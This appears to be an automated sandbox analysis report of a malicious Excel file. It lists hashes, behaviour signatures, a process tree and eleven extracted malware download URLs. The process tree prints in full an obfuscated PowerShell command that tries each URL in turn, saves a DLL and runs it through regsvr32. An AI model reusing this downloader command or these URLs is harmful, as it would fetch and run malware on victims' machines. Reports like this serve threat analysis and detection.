Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 17:15

General

  • Target

    8c37fa9dc7ac770c482a4cee0921395b3573ad1ebd5b07d64e9b156ec0339913.xls

  • Size

    88KB

  • MD5

    5c55b83d05ea5ea43286ede928ab29d4

  • SHA1

    ed78dcda468b6975ebd05783ce68e6a70240a72e

  • SHA256

    8c37fa9dc7ac770c482a4cee0921395b3573ad1ebd5b07d64e9b156ec0339913

  • SHA512

    a5c9ee33d1301894f7266ce38d6007115a3a8e8ecae41cbe17a5ba553382508afd0034c1a2ef0498fa947d1a3042413c8d43603484ba0e567c8ba9f0ce2d2430

  • SSDEEP

    1536:ryehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQfJkWvgrPE4nWHPNc2Al:ryehv7q2Pjx45uoDGTj+5xtekEvi8/dk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8c37fa9dc7ac770c482a4cee0921395b3573ad1ebd5b07d64e9b156ec0339913.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\bbiwjdf.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1084
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:540
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2136

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e1nwbtzy.3ud.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    a56e609341e3df07ed72e1d7f16f176c

    SHA1

    48a43da3f9d6338d038d6ebf19106b383a5902df

    SHA256

    812abfc05a8122058b84f111105048c7c77b3f5e7f394e374436fb234f1111b7

    SHA512

    f014658d3be7a7d27e3407b7f797c64937f11006baf6413a9454aa0249c8795c1460aac9b9cc7d275e8c65526c6b077e6bdf6127f8bd040c704de8d0709f5ada

  • \??\c:\programdata\bbiwjdf.vbs

    Filesize

    1KB

    MD5

    7baad56cc483132b8b9cb7a14722c3b1

    SHA1

    602f7933c443765697bb178ca137f17f81856f0d

    SHA256

    31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

    SHA512

    b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

  • memory/320-10-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-17-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-4-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-6-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

    Filesize

    64KB

  • memory/320-1-0x00007FFA429ED000-0x00007FFA429EE000-memory.dmp

    Filesize

    4KB

  • memory/320-9-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-8-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-7-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-11-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-12-0x00007FFA00170000-0x00007FFA00180000-memory.dmp

    Filesize

    64KB

  • memory/320-15-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-16-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-18-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-5-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

    Filesize

    64KB

  • memory/320-14-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-13-0x00007FFA00170000-0x00007FFA00180000-memory.dmp

    Filesize

    64KB

  • memory/320-25-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-49-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-2-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

    Filesize

    64KB

  • memory/320-3-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

    Filesize

    64KB

  • memory/320-140-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-128-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-129-0x00007FFA429ED000-0x00007FFA429EE000-memory.dmp

    Filesize

    4KB

  • memory/320-130-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/320-0-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

    Filesize

    64KB

  • memory/320-136-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

    Filesize

    2.0MB

  • memory/1084-118-0x0000027AE55D0000-0x0000027AE55F2000-memory.dmp

    Filesize

    136KB

  • memory/1084-141-0x0000027AFE860000-0x0000027AFF006000-memory.dmp

    Filesize

    7.6MB